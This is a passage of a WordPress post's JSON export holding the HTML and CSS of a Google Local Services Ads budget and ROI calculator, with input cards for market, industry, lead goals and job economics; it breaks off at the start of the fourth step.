{"id":1887,"date":"2026-05-22T08:38:22","date_gmt":"2026-05-22T08:38:22","guid":{"rendered":"https:\/\/buzzz.co\/blog\/?p=1887"},"modified":"2026-05-22T08:38:22","modified_gmt":"2026-05-22T08:38:22","slug":"calculator","status":"publish","type":"post","link":"https:\/\/buzzz.co\/blog\/calculator\/","title":{"rendered":"Calculator"},"content":{"rendered":"\n<html>\n<head>\n  <meta charset=\"UTF-8\" \/>\n  <title>BUZZZ &#8211; Google Local Services Ads Cost Calculator<\/title>\n  <style>\n    :root {\n      --bzz-bg: #0E0E0E;\n      --bzz-panel: #151515;\n      --bzz-text: #FFFFFF;\n      --bzz-muted: #B7BDC6;\n      --bzz-yellow: #F8D33A;\n      --bzz-pink: #FF2E63;\n      --bzz-border: #262626;\n    }\n\n    * {\n      box-sizing: border-box;\n    }\n\n    html, body {\n      margin: 0;\n      padding: 0;\n      background: var(--bzz-bg);\n      color: var(--bzz-text);\n      font-family: \"Inter\", \"Montserrat\", system-ui, -apple-system, BlinkMacSystemFont, \"Segoe UI\", sans-serif;\n    }\n\n    body {\n      display: flex;\n      justify-content: center;\n      padding: 30px 12px;\n    }\n\n    .buzzz-glsa-calculator {\n      max-width: 900px;\n      width: 100%;\n      margin: 0 auto;\n      background: radial-gradient(circle at top, rgba(248, 211, 58, 0.08), transparent 55%) no-repeat,\n                  radial-gradient(circle at bottom, rgba(255, 46, 99, 0.08), transparent 55%) no-repeat,\n                  var(--bzz-bg);\n      border-radius: 18px;\n      padding: 24px 20px 28px;\n      border: 1px solid rgba(255, 255, 255, 0.04);\n      box-shadow: 0 20px 45px rgba(0, 0, 0, 0.7);\n      position: relative;\n      overflow: hidden;\n    }\n\n    .buzzz-glsa-calculator::before {\n      content: \"\";\n      position: absolute;\n      inset: 0;\n      background: radial-gradient(circle at 10% 0, rgba(255, 46, 99, 0.1), transparent 55%),\n                  radial-gradient(circle at 90% 100%, rgba(248, 211, 58, 0.1), transparent 55%);\n      pointer-events: none;\n      opacity: 0.7;\n    }\n\n    .buzzz-inner {\n      position: relative;\n      z-index: 1;\n    }\n\n    .bzz-header {\n      display: flex;\n      flex-direction: column;\n      gap: 8px;\n      margin-bottom: 20px;\n    }\n\n    .bzz-badge-row {\n      display: flex;\n      align-items: center;\n      gap: 8px;\n      flex-wrap: wrap;\n    }\n\n    .bzz-badge {\n      display: inline-flex;\n      align-items: center;\n      gap: 8px;\n      padding: 6px 12px;\n      border-radius: 999px;\n      border: 1px solid rgba(248, 211, 58, 0.35);\n      background: rgba(21, 21, 21, 0.9);\n      font-size: 11px;\n      text-transform: uppercase;\n      letter-spacing: 0.08em;\n      color: var(--bzz-muted);\n    }\n\n    .bzz-dot {\n      width: 8px;\n      height: 8px;\n      border-radius: 999px;\n      background: linear-gradient(135deg, var(--bzz-pink), var(--bzz-yellow));\n      box-shadow: 0 0 8px rgba(248, 211, 58, 0.7);\n      animation: bzz-pulse 2.4s ease-in-out infinite;\n    }\n\n    @keyframes bzz-pulse {\n      0%, 100% { transform: scale(1); opacity: 0.9; }\n      50% { transform: scale(1.25); opacity: 1; }\n    }\n\n    .bzz-title-row {\n      display: flex;\n      justify-content: space-between;\n      gap: 12px;\n      align-items: flex-start;\n      flex-wrap: wrap;\n    }\n\n    .bzz-title-main {\n      max-width: 520px;\n    }\n\n    .bzz-title-main h1 {\n      margin: 0 0 6px;\n      font-size: 24px;\n      letter-spacing: 0.02em;\n    }\n\n    .bzz-title-main p {\n      margin: 0;\n      font-size: 13px;\n      color: var(--bzz-muted);\n    }\n\n    .bzz-title-highlight {\n      padding: 10px 12px;\n      border-radius: 12px;\n      border: 1px solid rgba(255, 255, 255, 0.06);\n      background: rgba(15, 15, 15, 0.9);\n      font-size: 11px;\n      color: var(--bzz-muted);\n      max-width: 230px;\n    }\n\n    .bzz-title-highlight strong {\n      color: var(--bzz-yellow);\n    }\n\n    .bzz-steps-grid {\n      display: grid;\n      grid-template-columns: minmax(0, 1.1fr) minmax(0, 1.1fr);\n      gap: 16px;\n      margin-bottom: 16px;\n    }\n\n    @media (max-width: 768px) {\n      .bzz-steps-grid {\n        grid-template-columns: minmax(0, 1fr);\n      }\n    }\n\n    .bzz-card {\n      background: rgba(21, 21, 21, 0.96);\n      border-radius: 16px;\n      border: 1px solid rgba(255, 255, 255, 0.04);\n      padding: 14px 14px 12px;\n      box-shadow: 0 12px 28px rgba(0, 0, 0, 0.6);\n      position: relative;\n      overflow: hidden;\n    }\n\n    .bzz-card::before {\n      content: \"\";\n      position: absolute;\n      inset: 0;\n      pointer-events: none;\n      background: linear-gradient(135deg, rgba(255, 46, 99, 0.14), transparent 70%);\n      opacity: 0;\n      transition: opacity 0.25s ease;\n    }\n\n    .bzz-card:hover::before {\n      opacity: 1;\n    }\n\n    .bzz-card-header {\n      display: flex;\n      justify-content: space-between;\n      align-items: center;\n      gap: 8px;\n      margin-bottom: 10px;\n    }\n\n    .bzz-card-header-left {\n      display: flex;\n      align-items: center;\n      gap: 8px;\n    }\n\n    .bzz-step-pill {\n      font-size: 11px;\n      padding: 3px 9px;\n      border-radius: 999px;\n      border: 1px solid rgba(255, 255, 255, 0.08);\n      color: var(--bzz-muted);\n      text-transform: uppercase;\n      letter-spacing: 0.08em;\n    }\n\n    .bzz-card-title {\n      font-size: 13px;\n      font-weight: 600;\n    }\n\n    .bzz-card-sub {\n      font-size: 11px;\n      color: var(--bzz-muted);\n    }\n\n    .bzz-fields-grid {\n      display: grid;\n      grid-template-columns: minmax(0, 1fr);\n      gap: 8px;\n    }\n\n    .bzz-field-group {\n      display: flex;\n      flex-direction: column;\n      gap: 4px;\n      position: relative;\n    }\n\n    .bzz-label-row {\n      display: flex;\n      align-items: center;\n      gap: 6px;\n      font-size: 12px;\n    }\n\n    .bzz-label-row span {\n      font-weight: 500;\n    }\n\n    .bzz-label-row small {\n      font-size: 11px;\n      color: var(--bzz-muted);\n    }\n\n    .bzz-tooltip {\n      position: relative;\n      display: inline-flex;\n      align-items: center;\n      justify-content: center;\n      width: 16px;\n      height: 16px;\n      border-radius: 999px;\n      font-size: 10px;\n      color: var(--bzz-yellow);\n      border: 1px solid rgba(248, 211, 58, 0.5);\n      cursor: default;\n    }\n\n    .bzz-tooltip-content {\n      position: absolute;\n      bottom: 120%;\n      left: 50%;\n      transform: translateX(-50%);\n      background: #050505;\n      color: var(--bzz-muted);\n      border-radius: 10px;\n      padding: 6px 8px;\n      font-size: 11px;\n      width: 210px;\n      max-width: 240px;\n      border: 1px solid rgba(255, 255, 255, 0.08);\n      box-shadow: 0 10px 25px rgba(0, 0, 0, 0.9);\n      opacity: 0;\n      pointer-events: none;\n      transition: opacity 0.18s ease, transform 0.18s ease;\n      z-index: 20;\n      text-align: left;\n      line-height: 1.4;\n    }\n\n    .bzz-tooltip:hover .bzz-tooltip-content {\n      opacity: 1;\n      transform: translateX(-50%) translateY(-2px);\n    }\n\n    select, input[type=\"text\"] {\n      background: #101010;\n      border-radius: 10px;\n      border: 1px solid var(--bzz-border);\n      padding: 8px 10px;\n      font-size: 12px;\n      color: var(--bzz-text);\n      outline: none;\n      width: 100%;\n      appearance: none;\n      -webkit-appearance: none;\n      -moz-appearance: none;\n      position: relative;\n    }\n\n    select:focus, input[type=\"text\"]:focus {\n      border-color: rgba(248, 211, 58, 0.8);\n      box-shadow: 0 0 0 1px rgba(248, 211, 58, 0.5);\n    }\n\n    .bzz-select-wrap {\n      position: relative;\n    }\n\n    .bzz-select-wrap::after {\n      content: \"\u25be\";\n      position: absolute;\n      right: 10px;\n      top: 50%;\n      transform: translateY(-50%);\n      font-size: 10px;\n      color: var(--bzz-muted);\n      pointer-events: none;\n    }\n\n    .bzz-helper {\n      font-size: 11px;\n      color: var(--bzz-muted);\n    }\n\n    .bzz-inline-note {\n      font-size: 11px;\n      color: var(--bzz-muted);\n      margin-top: 4px;\n    }\n\n    .bzz-two-col {\n      display: grid;\n      grid-template-columns: minmax(0, 1fr) minmax(0, 1fr);\n      gap: 8px;\n    }\n\n    @media (max-width: 640px) {\n      .bzz-two-col {\n        grid-template-columns: minmax(0, 1fr);\n      }\n    }\n\n    .bzz-cta-row {\n      margin-top: 10px;\n      display: flex;\n      justify-content: space-between;\n      gap: 10px;\n      align-items: center;\n      flex-wrap: wrap;\n    }\n\n    .bzz-cta-row .bzz-note {\n      font-size: 11px;\n      color: var(--bzz-muted);\n    }\n\n    .bzz-btn-primary {\n      border: none;\n      cursor: pointer;\n      padding: 10px 18px;\n      border-radius: 999px;\n      font-size: 13px;\n      font-weight: 600;\n      letter-spacing: 0.04em;\n      text-transform: uppercase;\n      color: #050505;\n      background: linear-gradient(135deg, var(--bzz-pink), var(--bzz-yellow));\n      box-shadow: 0 14px 30px rgba(255, 46, 99, 0.4);\n      display: inline-flex;\n      align-items: center;\n      gap: 8px;\n      position: relative;\n      overflow: hidden;\n      transition: transform 0.16s ease, box-shadow 0.16s ease;\n    }\n\n    .bzz-btn-primary::after {\n      content: \"\";\n      position: absolute;\n      inset: 0;\n      background: linear-gradient(120deg, rgba(255, 255, 255, 0.32), transparent 60%);\n      mix-blend-mode: screen;\n      transform: translateX(-120%);\n      animation: bzz-sheen 3.5s infinite;\n    }\n\n    @keyframes bzz-sheen {\n      0% { transform: translateX(-120%); }\n      30% { transform: translateX(120%); }\n      100% { transform: translateX(120%); }\n    }\n\n    .bzz-btn-primary span {\n      position: relative;\n      z-index: 1;\n    }\n\n    .bzz-btn-primary:hover {\n      transform: translateY(-1px);\n      box-shadow: 0 18px 40px rgba(255, 46, 99, 0.55);\n    }\n\n    .bzz-btn-primary:active {\n      transform: translateY(0);\n      box-shadow: 0 9px 20px rgba(0, 0, 0, 0.8);\n    }\n\n    .bzz-btn-primary .bzz-emoji {\n      font-size: 14px;\n    }\n\n    .bzz-results-wrapper {\n      margin-top: 20px;\n    }\n\n    .bzz-results-header-row {\n      display: flex;\n      justify-content: space-between;\n      align-items: center;\n      gap: 10px;\n      margin-bottom: 12px;\n      flex-wrap: wrap;\n    }\n\n    .bzz-results-header-row h2 {\n      margin: 0;\n      font-size: 16px;\n    }\n\n    .bzz-results-tag {\n      font-size: 11px;\n      padding: 4px 10px;\n      border-radius: 999px;\n      border: 1px solid rgba(255, 255, 255, 0.08);\n      color: var(--bzz-muted);\n      display: inline-flex;\n      align-items: center;\n      gap: 6px;\n    }\n\n    .bzz-results-tag-dot {\n      width: 7px;\n      height: 7px;\n      border-radius: 999px;\n      background: linear-gradient(135deg, var(--bzz-pink), var(--bzz-yellow));\n      box-shadow: 0 0 6px rgba(248, 211, 58, 0.9);\n    }\n\n    .bzz-results-grid {\n      display: grid;\n      grid-template-columns: minmax(0, 1.15fr) minmax(0, 1.1fr);\n      gap: 14px;\n    }\n\n    @media (max-width: 768px) {\n      .bzz-results-grid {\n        grid-template-columns: minmax(0, 1fr);\n      }\n    }\n\n    .bzz-results-main-card {\n      background: radial-gradient(circle at top left, rgba(255, 46, 99, 0.22), transparent 60%),\n                  radial-gradient(circle at bottom right, rgba(248, 211, 58, 0.18), transparent 60%),\n                  #101010;\n      border-radius: 16px;\n      padding: 14px 14px 12px;\n      border: 1px solid rgba(255, 255, 255, 0.08);\n      box-shadow: 0 16px 40px rgba(0, 0, 0, 0.85);\n      position: relative;\n      overflow: hidden;\n    }\n\n    .bzz-results-main-top {\n      display: flex;\n      justify-content: space-between;\n      align-items: flex-start;\n      gap: 10px;\n      margin-bottom: 8px;\n      flex-wrap: wrap;\n    }\n\n    .bzz-results-main-top-left {\n      display: flex;\n      flex-direction: column;\n      gap: 4px;\n    }\n\n    .bzz-summary-label {\n      font-size: 11px;\n      text-transform: uppercase;\n      letter-spacing: 0.1em;\n      color: var(--bzz-muted);\n    }\n\n    .bzz-summary-badge {\n      font-size: 14px;\n      font-weight: 600;\n      display: inline-flex;\n      align-items: center;\n      gap: 6px;\n      flex-wrap: wrap;\n    }\n\n    .bzz-summary-badge span.bzz-pill {\n      font-size: 11px;\n      border-radius: 999px;\n      padding: 3px 8px;\n      background: rgba(5, 5, 5, 0.55);\n      border: 1px solid rgba(255, 255, 255, 0.12);\n      color: var(--bzz-muted);\n    }\n\n    .bzz-results-main-top-right {\n      text-align: right;\n      font-size: 11px;\n      color: var(--bzz-muted);\n    }\n\n    .bzz-results-main-top-right span {\n      display: block;\n    }\n\n    .bzz-results-main-metrics {\n      display: grid;\n      grid-template-columns: repeat(3, minmax(0, 1fr));\n      gap: 8px;\n      margin-top: 6px;\n    }\n\n    @media (max-width: 540px) {\n      .bzz-results-main-metrics {\n        grid-template-columns: repeat(2, minmax(0, 1fr));\n      }\n    }\n\n    .bzz-metric {\n      font-size: 11px;\n      padding: 6px 8px;\n      background: rgba(0, 0, 0, 0.45);\n      border-radius: 10px;\n      border: 1px solid rgba(255, 255, 255, 0.04);\n    }\n\n    .bzz-metric-label {\n      color: var(--bzz-muted);\n      margin-bottom: 2px;\n    }\n\n    .bzz-metric-value {\n      font-size: 13px;\n      font-weight: 600;\n    }\n\n    .bzz-metric-sub {\n      font-size: 11px;\n      color: var(--bzz-muted);\n      margin-top: 2px;\n    }\n\n    .bzz-results-side-card {\n      background: rgba(11, 11, 11, 0.96);\n      border-radius: 16px;\n      padding: 10px 11px 10px;\n      border: 1px solid rgba(255, 255, 255, 0.05);\n      box-shadow: 0 14px 32px rgba(0, 0, 0, 0.85);\n      display: grid;\n      grid-template-rows: auto auto auto;\n      gap: 8px;\n    }\n\n    .bzz-side-group-title {\n      font-size: 12px;\n      font-weight: 600;\n      margin-bottom: 4px;\n    }\n\n    .bzz-side-metrics-grid {\n      display: grid;\n      grid-template-columns: repeat(2, minmax(0, 1fr));\n      gap: 8px;\n    }\n\n    @media (max-width: 540px) {\n      .bzz-side-metrics-grid {\n        grid-template-columns: minmax(0, 1fr);\n      }\n    }\n\n    .bzz-warning-box {\n      background: rgba(255, 46, 99, 0.08);\n      border-radius: 12px;\n      padding: 8px 9px;\n      border: 1px solid rgba(255, 46, 99, 0.4);\n      font-size: 11px;\n      color: var(--bzz-muted);\n    }\n\n    .bzz-warning-box strong {\n      color: #ff8aa8;\n      font-weight: 600;\n    }\n\n    .bzz-warning-box ul {\n      margin: 4px 0 0;\n      padding-left: 16px;\n    }\n\n    .bzz-warning-box li {\n      margin: 2px 0;\n    }\n\n    .bzz-notes-box {\n      background: rgba(12, 12, 12, 0.9);\n      border-radius: 12px;\n      padding: 7px 9px;\n      border: 1px dashed rgba(255, 255, 255, 0.08);\n      font-size: 11px;\n      color: var(--bzz-muted);\n      line-height: 1.5;\n    }\n\n    .bzz-notes-box strong {\n      color: var(--bzz-yellow);\n    }\n\n    .bzz-hidden {\n      display: none !important;\n    }\n\n    .bzz-error {\n      border-color: rgba(255, 46, 99, 0.7) !important;\n      box-shadow: 0 0 0 1px rgba(255, 46, 99, 0.5) !important;\n    }\n\n    @media (max-width: 480px) {\n      .buzzz-glsa-calculator {\n        padding: 18px 14px 22px;\n        border-radius: 16px;\n      }\n\n      .bzz-title-main h1 {\n        font-size: 21px;\n      }\n    }\n  <\/style>\n<\/head>\n<body>\n  <div class=\"buzzz-glsa-calculator\">\n    <div class=\"buzzz-inner\">\n      <header class=\"bzz-header\">\n        <div class=\"bzz-badge-row\">\n          <div class=\"bzz-badge\">\n            <div class=\"bzz-dot\"><\/div>\n            <span>GLSA budget \u2022 leads \u2022 ROI planner<\/span>\n          <\/div>\n        <\/div>\n        <div class=\"bzz-title-row\">\n          <div class=\"bzz-title-main\">\n            <h1>Google Local Services Ads cost calculator<\/h1>\n            <p>Model your GLSA budget, CPL, CPC, clicks, leads, jobs and profit before you launch. Choose your state, industry and assumptions, then calculate.<\/p>\n          <\/div>\n          <div class=\"bzz-title-highlight\">\n            <strong>Reality check<\/strong><br \/>\n            This is a planning model using market-based averages. Real GLSA performance will vary with reviews, response speed and competition.\n          <\/div>\n        <\/div>\n      <\/header>\n\n      <main>\n        <section class=\"bzz-steps-grid\" aria-label=\"Inputs\">\n          <!-- Step 1 - Market -->\n          <div class=\"bzz-card\">\n            <div class=\"bzz-card-header\">\n              <div class=\"bzz-card-header-left\">\n                <div class=\"bzz-step-pill\">Step 1<\/div>\n                <div>\n                  <div class=\"bzz-card-title\">Your market<\/div>\n                  <div class=\"bzz-card-sub\">Country, US state \/ market &#038; competition<\/div>\n                <\/div>\n              <\/div>\n            <\/div>\n            <div class=\"bzz-fields-grid\">\n              <div class=\"bzz-field-group\">\n                <div class=\"bzz-label-row\">\n                  <span>Country \ud83c\udf0d<\/span>\n                <\/div>\n                <div class=\"bzz-select-wrap\">\n                  <select id=\"countrySelect\">\n                    <option value=\"\">Select country<\/option>\n                    <option value=\"us\">United States<\/option>\n                    <option value=\"ca\">Canada<\/option>\n                    <option value=\"uk\">United Kingdom<\/option>\n                    <option value=\"au\">Australia<\/option>\n                    <option value=\"eu\">Europe<\/option>\n                    <option value=\"other\">Other<\/option>\n                  <\/select>\n                <\/div>\n                <div class=\"bzz-helper\">Used for context. CPL is driven by your state\/market + industry + competition.<\/div>\n              <\/div>\n\n              <div class=\"bzz-two-col\">\n                <div class=\"bzz-field-group\">\n                  <div class=\"bzz-label-row\">\n                    <span>State \/ market \ud83c\udfd9\ufe0f<\/span>\n                    <div class=\"bzz-tooltip\">?\n                      <div class=\"bzz-tooltip-content\">\n                        For US, pick your primary state. For non-US markets, use the options at the bottom (large metro \/ mid city \/ small town) to approximate your market cost.\n                      <\/div>\n                    <\/div>\n                  <\/div>\n                  <div class=\"bzz-select-wrap\">\n                    <select id=\"marketSelect\">\n                      <option value=\"\">Select state \/ market<\/option>\n                      <optgroup label=\"US \u2022 Major states\">\n                        <option value=\"CA\">California<\/option>\n                        <option value=\"NY\">New York<\/option>\n                        <option value=\"TX\">Texas<\/option>\n                        <option value=\"FL\">Florida<\/option>\n                        <option value=\"IL\">Illinois<\/option>\n                        <option value=\"NJ\">New Jersey<\/option>\n                        <option value=\"WA\">Washington<\/option>\n                        <option value=\"MA\">Massachusetts<\/option>\n                        <option value=\"PA\">Pennsylvania<\/option>\n                        <option value=\"AZ\">Arizona<\/option>\n                        <option value=\"GA\">Georgia<\/option>\n                        <option value=\"CO\">Colorado<\/option>\n                        <option value=\"NC\">North Carolina<\/option>\n                        <option value=\"VA\">Virginia<\/option>\n                      <\/optgroup>\n                      <optgroup label=\"US \u2022 Other states\">\n                        <option value=\"AL\">Alabama<\/option>\n                        <option value=\"AK\">Alaska<\/option>\n                        <option value=\"AR\">Arkansas<\/option>\n                        <option value=\"CT\">Connecticut<\/option>\n                        <option value=\"DE\">Delaware<\/option>\n                        <option value=\"HI\">Hawaii<\/option>\n                        <option value=\"ID\">Idaho<\/option>\n                        <option value=\"IN\">Indiana<\/option>\n                        <option value=\"IA\">Iowa<\/option>\n                        <option value=\"KS\">Kansas<\/option>\n                        <option value=\"KY\">Kentucky<\/option>\n                        <option value=\"LA\">Louisiana<\/option>\n                        <option value=\"ME\">Maine<\/option>\n                        <option value=\"MD\">Maryland<\/option>\n                        <option value=\"MI\">Michigan<\/option>\n                        <option value=\"MN\">Minnesota<\/option>\n                        <option value=\"MS\">Mississippi<\/option>\n                        <option value=\"MO\">Missouri<\/option>\n                        <option value=\"MT\">Montana<\/option>\n                        <option value=\"NE\">Nebraska<\/option>\n                        <option value=\"NV\">Nevada<\/option>\n                        <option value=\"NH\">New Hampshire<\/option>\n                        <option value=\"NM\">New Mexico<\/option>\n                        <option value=\"ND\">North Dakota<\/option>\n                        <option value=\"OH\">Ohio<\/option>\n                        <option value=\"OK\">Oklahoma<\/option>\n                        <option value=\"OR\">Oregon<\/option>\n                        <option value=\"RI\">Rhode Island<\/option>\n                        <option value=\"SC\">South Carolina<\/option>\n                        <option value=\"SD\">South Dakota<\/option>\n                        <option value=\"TN\">Tennessee<\/option>\n                        <option value=\"UT\">Utah<\/option>\n                        <option value=\"VT\">Vermont<\/option>\n                        <option value=\"WV\">West Virginia<\/option>\n                        <option value=\"WI\">Wisconsin<\/option>\n                        <option value=\"WY\">Wyoming<\/option>\n                      <\/optgroup>\n                      <optgroup label=\"Non-US markets\">\n                        <option value=\"nonus_tier1\">Large metro (capital \/ mega city)<\/option>\n                        <option value=\"nonus_tier2\">Mid-size city \/ big suburb<\/option>\n                        <option value=\"nonus_tier3\">Small town \/ rural<\/option>\n                      <\/optgroup>\n                    <\/select>\n                  <\/div>\n                <\/div>\n\n                <div class=\"bzz-field-group\">\n                  <div class=\"bzz-label-row\">\n                    <span>Competition level \u2694\ufe0f<\/span>\n                  <\/div>\n                  <div class=\"bzz-select-wrap\">\n                    <select id=\"competitionSelect\">\n                      <option value=\"\">Select competition<\/option>\n                      <option value=\"low\">Low<\/option>\n                      <option value=\"medium\">Medium<\/option>\n                      <option value=\"high\">High<\/option>\n                    <\/select>\n                  <\/div>\n                <\/div>\n              <\/div>\n\n              <div class=\"bzz-field-group\">\n                <div class=\"bzz-label-row\">\n                  <span>Industry \ud83d\udd27<\/span>\n                  <div class=\"bzz-tooltip\">?\n                    <div class=\"bzz-tooltip-content\">\n                      Pick the closest match. This sets a base cost per lead which we adjust using your market and competition level.\n                    <\/div>\n                  <\/div>\n                <\/div>\n                <div class=\"bzz-select-wrap\">\n                  <select id=\"industrySelect\">\n                    <option value=\"\">Select industry<\/option>\n                    <option value=\"plumber\">Plumber<\/option>\n                    <option value=\"electrician\">Electrician<\/option>\n                    <option value=\"hvac\">HVAC<\/option>\n                    <option value=\"locksmith\">Locksmith<\/option>\n                    <option value=\"pest\">Pest control<\/option>\n                    <option value=\"roofing\">Roofing<\/option>\n                    <option value=\"realestate\">Real estate<\/option>\n                    <option value=\"personalInjury\">Personal injury lawyer<\/option>\n                    <option value=\"immigration\">Immigration lawyer<\/option>\n                    <option value=\"otherHome\">Other home service<\/option>\n                    <option value=\"otherPro\">Other professional<\/option>\n                  <\/select>\n                <\/div>\n              <\/div>\n            <\/div>\n          <\/div>\n\n          <!-- Step 2 - Goals -->\n          <div class=\"bzz-card\">\n            <div class=\"bzz-card-header\">\n              <div class=\"bzz-card-header-left\">\n                <div class=\"bzz-step-pill\">Step 2<\/div>\n                <div>\n                  <div class=\"bzz-card-title\">Goals &#038; capacity<\/div>\n                  <div class=\"bzz-card-sub\">Budget or lead target plus job capacity<\/div>\n                <\/div>\n              <\/div>\n            <\/div>\n            <div class=\"bzz-fields-grid\">\n              <div class=\"bzz-field-group\">\n                <div class=\"bzz-label-row\">\n                  <span>Goal mode \ud83c\udfaf<\/span>\n                  <div class=\"bzz-tooltip\">?\n                    <div class=\"bzz-tooltip-content\">\n                      Budget mode = you know how much you can spend.<br \/>\n                      Lead mode = you know how many leads you want GLSA to deliver.\n                    <\/div>\n                  <\/div>\n                <\/div>\n                <div class=\"bzz-select-wrap\">\n                  <select id=\"goalModeSelect\">\n                    <option value=\"\">Select goal mode<\/option>\n                    <option value=\"budget\">I know my monthly budget<\/option>\n                    <option value=\"leads\">I know how many leads I want<\/option>\n                  <\/select>\n                <\/div>\n              <\/div>\n\n              <div class=\"bzz-two-col\">\n                <div class=\"bzz-field-group\" id=\"budgetRangeGroup\">\n                  <div class=\"bzz-label-row\">\n                    <span>Monthly ad budget \ud83d\udcb8<\/span>\n                  <\/div>\n                  <div class=\"bzz-select-wrap\">\n                    <select id=\"budgetRangeSelect\">\n                      <option value=\"\">Select budget range<\/option>\n                      <option value=\"750\">500 \u2013 1,000<\/option>\n                      <option value=\"1500\">1,000 \u2013 2,000<\/option>\n                      <option value=\"3000\">2,000 \u2013 4,000<\/option>\n                      <option value=\"6000\">4,000 \u2013 8,000<\/option>\n                      <option value=\"9000\">8,000 \u2013 10,000+<\/option>\n                    <\/select>\n                  <\/div>\n                  <div class=\"bzz-helper\">We use the midpoint of the range to model performance.<\/div>\n                <\/div>\n\n                <div class=\"bzz-field-group bzz-hidden\" id=\"leadGoalGroup\">\n                  <div class=\"bzz-label-row\">\n                    <span>Lead goal per month \ud83d\udce5<\/span>\n                  <\/div>\n                  <div class=\"bzz-select-wrap\">\n                    <select id=\"leadGoalSelect\">\n                      <option value=\"\">Select lead goal<\/option>\n                      <option value=\"15\">10 \u2013 20 leads<\/option>\n                      <option value=\"30\">20 \u2013 40 leads<\/option>\n                      <option value=\"50\">40 \u2013 60 leads<\/option>\n                      <option value=\"80\">60 \u2013 100 leads<\/option>\n                      <option value=\"120\">100+ leads<\/option>\n                    <\/select>\n                  <\/div>\n                  <div class=\"bzz-helper\">We use the midpoint to estimate the required budget.<\/div>\n                <\/div>\n              <\/div>\n\n              <div class=\"bzz-two-col\">\n                <div class=\"bzz-field-group\">\n                  <div class=\"bzz-label-row\">\n                    <span>Monthly job capacity \ud83d\udcc6<\/span>\n                  <\/div>\n                  <div class=\"bzz-select-wrap\">\n                    <select id=\"capacitySelect\">\n                      <option value=\"\">Select capacity<\/option>\n                      <option value=\"20\">Up to 20 jobs<\/option>\n                      <option value=\"40\">Up to 40 jobs<\/option>\n                      <option value=\"60\">Up to 60 jobs<\/option>\n                      <option value=\"80\">60+ jobs<\/option>\n                    <\/select>\n                  <\/div>\n                <\/div>\n\n                <div class=\"bzz-field-group\">\n                  <div class=\"bzz-label-row\">\n                    <span>Optional note<\/span>\n                  <\/div>\n                  <input type=\"text\" id=\"notesInput\" placeholder=\"Multi-location? Seasonality? Any special notes\u2026\" \/>\n                  <div class=\"bzz-inline-note\">For your notes only. This does not change the math.<\/div>\n                <\/div>\n              <\/div>\n            <\/div>\n          <\/div>\n\n          <!-- Step 3 - Economics -->\n          <div class=\"bzz-card\">\n            <div class=\"bzz-card-header\">\n              <div class=\"bzz-card-header-left\">\n                <div class=\"bzz-step-pill\">Step 3<\/div>\n                <div>\n                  <div class=\"bzz-card-title\">Lead, click &#038; job economics<\/div>\n                  <div class=\"bzz-card-sub\">CPL, CPC, conversion and value assumptions<\/div>\n                <\/div>\n              <\/div>\n            <\/div>\n            <div class=\"bzz-fields-grid\">\n              <div class=\"bzz-two-col\">\n                <div class=\"bzz-field-group\">\n                  <div class=\"bzz-label-row\">\n                    <span>CPL level \ud83d\udcb9<\/span>\n                    <div class=\"bzz-tooltip\">?\n                      <div class=\"bzz-tooltip-content\">\n                        Low = you expect to beat market average.<br \/>\n                        Typical = normal GLSA costs.<br \/>\n                        High = ultra-competitive, top placement or premium categories.\n                      <\/div>\n                    <\/div>\n                  <\/div>\n                  <div class=\"bzz-select-wrap\">\n                    <select id=\"cplLevelSelect\">\n                      <option value=\"\">Select CPL level<\/option>\n                      <option value=\"low\">Low<\/option>\n                      <option value=\"typical\">Typical<\/option>\n                      <option value=\"high\">High<\/option>\n                    <\/select>\n                  <\/div>\n                <\/div>\n\n                <div class=\"bzz-field-group\">\n                  <div class=\"bzz-label-row\">\n                    <span>Click \u2192 lead rate (%) \ud83d\uddb1\ufe0f\u27a1\ufe0f\ud83d\udce5<\/span>\n                    <div class=\"bzz-tooltip\">?\n                      <div class=\"bzz-tooltip-content\">\n                        What % of GLSA clicks turn into billable leads?<br \/>\n                        This lets us estimate CPC and total click volume from your CPL.\n                      <\/div>\n                    <\/div>\n                  <\/div>\n                  <div class=\"bzz-select-wrap\">\n                    <select id=\"clickToLeadSelect\">\n                      <option value=\"\">Select click \u2192 lead rate<\/option>\n                      <option value=\"0.15\">10 \u2013 20%<\/option>\n                      <option value=\"0.25\">20 \u2013 30%<\/option>\n                      <option value=\"0.35\">30 \u2013 40%<\/option>\n                      <option value=\"0.45\">40 \u2013 50%<\/option>\n                    <\/select>\n                  <\/div>\n                <\/div>\n              <\/div>\n\n              <div class=\"bzz-two-col\">\n                <div class=\"bzz-field-group\">\n                  <div class=\"bzz-label-row\">\n                    <span>Lead \u2192 booked job rate (%) \u2705<\/span>\n                  <\/div>\n                  <div class=\"bzz-select-wrap\">\n                    <select id=\"conversionSelect\">\n                      <option value=\"\">Select conversion rate<\/option>\n                      <option value=\"0.15\">10 \u2013 20%<\/option>\n                      <option value=\"0.25\">20 \u2013 30%<\/option>\n                      <option value=\"0.35\">30 \u2013 40%<\/option>\n                      <option value=\"0.45\">40 \u2013 50%<\/option>\n                    <\/select>\n                  <\/div>\n                <\/div>\n\n                <div class=\"bzz-field-group\">\n                  <div class=\"bzz-label-row\">\n                    <span>Average job value \ud83d\udcb5<\/span>\n                  <\/div>\n                  <div class=\"bzz-select-wrap\">\n                    <select id=\"jobValueSelect\">\n                      <option value=\"\">Select average job value<\/option>\n                      <option value=\"200\">100 \u2013 300<\/option>\n                      <option value=\"450\">300 \u2013 600<\/option>\n                      <option value=\"900\">600 \u2013 1,200<\/option>\n                      <option value=\"1800\">1,200 \u2013 2,400<\/option>\n                      <option value=\"3000\">2,500+<\/option>\n                    <\/select>\n                  <\/div>\n                <\/div>\n              <\/div>\n\n              <div class=\"bzz-two-col\">\n                <div class=\"bzz-field-group\">\n                  <div class=\"bzz-label-row\">\n                    <span>Profit margin (%) \ud83d\udcca<\/span>\n                  <\/div>\n                  <div class=\"bzz-select-wrap\">\n                    <select id=\"marginSelect\">\n                      <option value=\"\">Select profit margin<\/option>\n                      <option value=\"0.25\">20 \u2013 30%<\/option>\n                      <option value=\"0.35\">30 \u2013 40%<\/option>\n                      <option value=\"0.45\">40 \u2013 50%<\/option>\n                      <option value=\"0.55\">50 \u2013 60%<\/option>\n                    <\/select>\n                  <\/div>\n                <\/div>\n\n                <div class=\"bzz-field-group\">\n                  <div class=\"bzz-label-row\">\n                    <span>Scenario label (optional)<\/span>\n                  <\/div>\n                  <input type=\"text\" id=\"scenarioNameInput\" placeholder=\"Example: Summer push, New city launch, Brand rebuild\u2026\" \/>\n                <\/div>\n              <\/div>\n            <\/div>\n          <\/div>\n\n          <!-- Step 4 - Run -->\n          <div 